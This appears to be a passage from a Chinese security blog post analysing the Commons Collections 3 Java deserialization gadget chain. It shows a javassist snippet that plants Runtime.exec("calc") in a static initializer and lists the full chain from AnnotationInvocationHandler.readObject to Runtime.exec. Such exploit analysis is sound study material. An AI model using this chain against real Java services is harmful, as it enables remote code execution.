Java安全之Commons Collections3分析 (4)

Java安全之Commons Collections3分析

下面标注出来这段是_bytecodes对_class进行赋值,这里的_bytecodes的值是使用javassist动态创建的恶意类的字节码 执行完后,来到下一步。

Java安全之Commons Collections3分析

Java安全之Commons Collections3分析

这里会对该字节码进行调用newInstance方法实例化一个对象,然后就可以看到命令执行成功。

Java安全之Commons Collections3分析

关于这个为什么调用newInstance实例化一个对象,命令就直接执行成功的问题,其实我的在CC2链分析里面也说到过,主要还是看使用javassist动态创建一个类的时候,他是怎么去构造的。

ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CommonsCollections22222222222"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); payload.writeFile("./");

先将该类写出来到文件中,然后再去查看。

Java安全之Commons Collections3分析

看到这个其实就一目了然了,使用setBody设置主体的时候,代码其实是插入在静态代码块中的。静态代码块的代码在实例化对象的时候就会进行执行。

调用链 AnnotationInvocationHandler.readobject->(proxy)lazyMap.entrySet ->AnnotationInvocationHandler.invoke->lazyMap.get ->ChainedTransformer.transform->ConstantTransformer.transform ->InstantiateTransformer.transform->TrAXFilter(构造方法) ->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance ->TemplatesImpl.defineTransletClasses ->(动态创建的类)cc2.newInstance()->Runtime.exec() 0x04 结尾

其实在调试CC3这条利用链的时候,会发现前半部分使用的是CC2利用链的POC代码,而后半部分则是CC1的利用链代码。调试过这两条利用链的话,调试CC3这条利用链会比较简单易懂。

在写这篇文的时候,第一次刚码完字,电脑就蓝屏了。重新打开文件的时候,文章的文件也清空了。只能重写一遍,但是重写完后,发现虽然字数也差不多,但是感觉细节点的地方还是少了东西,但是又不知道具体在哪些地方少了。

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zyjdwg.html